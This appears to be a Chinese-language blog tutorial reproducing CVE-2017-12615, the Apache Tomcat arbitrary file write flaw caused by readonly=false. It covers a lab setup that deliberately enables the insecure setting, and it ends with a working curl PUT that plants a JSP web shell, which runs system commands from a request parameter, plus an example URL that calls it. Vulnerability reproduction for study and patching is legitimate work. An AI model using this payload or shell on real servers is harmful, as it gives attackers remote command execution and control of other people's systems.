Tomcat任意写文件漏洞

简介

  • 漏洞名称:Tomcat任意文件上传漏洞
  • 漏洞编号: CVE-2017-12615
  • 漏洞影响:上传包含任意代码的文件,并被服务器执行
  • 影响版本:Apache Tomcat 7.0.0 - 7.0.81

漏洞原理

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制

漏洞复现

环境搭建

安装JDK

1
2
3
4
5
6
7
8
9
10
11
12
13
$ tar zxf jdk-8u102-linux-x64.tar.gz
$ mv jdk1.8.0_102/ /usr/local/jdk1.8
$ vim /etc/profile
JAVA_HOME=/usr/local/jdk1.8
PATH=$JAVA_HOME/bin:$PATH
export JAVA_HOME PATH
$ source /etc/profile
$ java -version
java version "1.8.0_102"
Java(TM) SE Runtime Environment (build 1.8.0_102-b14)
Java HotSpot(TM) 64-Bit Server VM (build 25.102-b14, mixed mode)

安装Tomcat

1
2
3
4
5
6
7
8
9
$ tar zxf apache-tomcat-7.0.79.tar.gz
$ mv apache-tomcat-7.0.79 /usr/local/tomcat
$ cd /usr/local/tomcat/conf \
&& LINE=$(nl -ba web.xml | grep '<load-on-startup>1' | awk '{print $1}') \
&& ADDON="<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>" \
&& sed -i "$LINE i $ADDON" web.xml
$ cd /usr/local/tomcat/
$ ./bin/startup.sh

远程写入webshell文件

执行以下命令可以在webapps/ROOT/ 目录下写入shell.jsp的文件

1
curl -X PUT -d '<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");%>' http://192.168.0.104:8080/shell.jsp/

通过上面的shell在参数后写入命令即可

1
http://192.168.0.104:8080/shell.jsp?shell=ls

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器